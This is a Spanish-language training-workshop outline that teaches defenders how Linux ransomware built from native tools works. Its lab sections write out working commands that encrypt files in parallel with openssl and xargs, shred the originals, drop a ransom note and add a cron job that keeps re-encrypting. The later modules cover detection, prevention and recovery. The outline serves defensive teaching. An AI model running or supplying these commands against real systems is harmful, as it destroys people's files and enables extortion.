# Que coman tierra: de LOLBINs a ransomware ## Estructura del Taller **Audiencia:** Defensores, sysadmins, blue teamers **Duración estimada:** 3-4 horas **Entorno:** VM Linux aislada (sin red externa) --- ## Módulo 1: El problema invisible (20 min) **Concepto central:** Un ataque que no instala nada es casi indetectable con herramientas tradicionales. - Qué son los LOLBins (Living Off the Land Binaries) - Por qué los antivirus no los detienen - Casos reales: ataques ransomware 100% con herramientas del sistema - La pregunta incómoda: ¿qué tan fácil es? --- ## Módulo 2: El arsenal del sistema (30 min) **Concepto central:** El atacante ya tiene todo lo que necesita instalado. | Herramienta | Capacidad ofensiva | |--------------------|-------------------------------------------------------| | `openssl` | Cifrado simétrico y asimétrico | | `find` | Reconocimiento y targeting de archivos | | `xargs` | Paralelización masiva de operaciones sobre archivos | | `tar` / `dd` | Exfiltración y destrucción | | `python3` / `perl` | Scripting completo sin instalar nada | | `base64` | Codificación de claves / evasión | | `cron` / `at` | Persistencia y ejecución diferida | | `shred` | Destrucción segura de originales | | `curl` / `wget` | C2 simulado | Demo en vivo: cada herramienta haciendo algo que "no debería". ### xargs: el multiplicador de fuerza `find` localiza objetivos. `xargs` los procesa en paralelo. La diferencia en velocidad es brutal. ```bash # Lento: cifrado secuencial con while loop while IFS= read -r f; do openssl enc -aes-256-cbc -pbkdf2 -in "$f" -out "${f}.enc" -pass file:/tmp/.key done < /tmp/.targets # Rápido: cifrado paralelo con xargs -P find /home/victim -type f -name "*.txt" -print0 \ | xargs -0 -P $(nproc) -I{} \ openssl enc -aes-256-cbc -pbkdf2 -pass file:/tmp/.key -in {} -out {}.enc ``` `-P $(nproc)` lanza tantos procesos paralelos como cores tenga la máquina. En un servidor con 16 cores, un atacante cifra **miles de archivos en segundos**. Esta es la razón por la que el ransomware moderno es tan rápido que los backups en tiempo real no alcanzan a reaccionar. --- ## Módulo 3: Anatomía de un ataque (30 min) **Concepto central:** El ransomware tiene fases. Cada fase usa un LOLBin distinto. ### Fases del ataque 1. **Reconocimiento** - `find` mapea archivos objetivo 2. **Generación de clave** - `openssl rand` crea clave efímera 3. **Cifrado paralelo** - `find | xargs -P` cifra todo simultáneamente 4. **Destrucción del original** - `shred` elimina el archivo limpio 5. **Exfiltración de clave** - `curl` envía clave al atacante 6. **Nota de rescate** - `echo` / `wall` / fondo de escritorio 7. **Persistencia** - `cron` para re-cifrar si se intenta recuperar Diagrama de flujo del ataque completo. --- ## Módulo 4: Lab "Preparando el plato" (90 min) **Objetivo:** Ejecutar un ataque simulado completo en entorno aislado y entender cada paso desde adentro. ### Prerequisitos del lab - VM Ubuntu/Debian sin snapshots previos (propósito) - Directorio `/home/victim/documentos/` con archivos de prueba - Sin conexión a red real ### Ejercicios #### Ejercicio 1: Reconocimiento (15 min) ```bash find /home/victim -type f \( -name "*.txt" -o -name "*.pdf" -o -name "*.docx" \) > /tmp/.targets wc -l /tmp/.targets ``` #### Ejercicio 2: Generar clave (5 min) ```bash openssl rand -base64 32 > /tmp/.key ``` #### Ejercicio 3: Cifrado paralelo con xargs (30 min) Primero, la versión lenta para que la sientan: ```bash # Versión while loop - medir con `time` time while IFS= read -r f; do openssl enc -aes-256-cbc -pbkdf2 -in "$f" -out "${f}.enc" -pass file:/tmp/.key shred -u "$f" done < /tmp/.targets ``` Luego, la versión real: ```bash # Versión xargs -P - mismo resultado, velocidad completamente diferente time find /home/victim -type f \( -name "*.txt" -o -name "*.pdf" \) -print0 \ | xargs -0 -P $(nproc) -I{} sh -c \ 'openssl enc -aes-256-cbc -pbkdf2 -pass file:/tmp/.key -in "$1" -out "$1.enc" && shred -u "$1"' \ _ {} ``` **Pregunta para el grupo:** ¿cuántos archivos por segundo procesó cada versión? ¿Qué implica eso para la ventana de detección? #### Ejercicio 4: Nota de rescate (10 min) ```bash cat > /home/victim/LEEME_URGENTE.txt << 'RANSOMNOTE' Tus archivos han sido cifrados. Tienes 72 horas para pagar. RANSOMNOTE wall /home/victim/LEEME_URGENTE.txt ``` #### Ejercicio 5: Persistencia (10 min) ```bash (crontab -l 2>/dev/null; echo "*/5 * * * * find /home/victim -name '*.txt' -newer /tmp/.key -print0 | xargs -0 -P 4 -I{} openssl enc -aes-256-cbc -pbkdf2 -pass file:/tmp/.key -in {} -out {}.enc") | crontab - ``` #### Ejercicio 6: Análisis forense post-ataque (20 min) - ¿Qué quedó en logs? - ¿Qué proceso hizo qué? - ¿Hubo alguna señal detectable? - ¿En qué momento hubiera sido posible interrumpirlo? --- ## Módulo 5: Defensa, cómo no comer tierra (40 min) **Concepto central:** Si entendiste el ataque, entiendes dónde poner los controles. ### Detección - `auditd` - auditoría de syscalls (`openssl`, `shred`, `xargs` con muchos forks, escrituras masivas) - Alerta en spike de procesos `openssl` simultáneos (señal directa de `xargs -P`) - Reglas YARA para patrones de comportamiento, no de firma - Alertas en accesos masivos a archivos en ventana corta de tiempo - Monitoreo de modificaciones a `crontab` ### Prevención - Backups inmutables (S3 Object Lock, ZFS snapshots, `restic`) - Filesystem flags: `chattr +i` para archivos críticos - AppArmor/SELinux profiles que restringen `openssl` a usuarios específicos - Principio de mínimo privilegio ### Respuesta - Runbook de incident response para ransomware - Cómo identificar la clave si no fue exfiltrada - Recuperación desde snapshots --- ## Módulo 6: Cierre (10 min) - "La mejor defensa es saber cómo atacan" - Recursos: GTFOBins, LOLBAS, MITRE ATT&CK T1486 - Tarea: auditar su propio entorno con `auditd` --- ## Notas para el instructor - **Nunca ejecutar en sistemas reales** - solo en VMs aisladas con snapshots - Tener snapshots pre-hechos para restaurar rápido entre grupos - El módulo 4 es el núcleo - darle tiempo extra si es necesario - El objetivo NO es crear atacantes: es crear defensores que entienden el ataque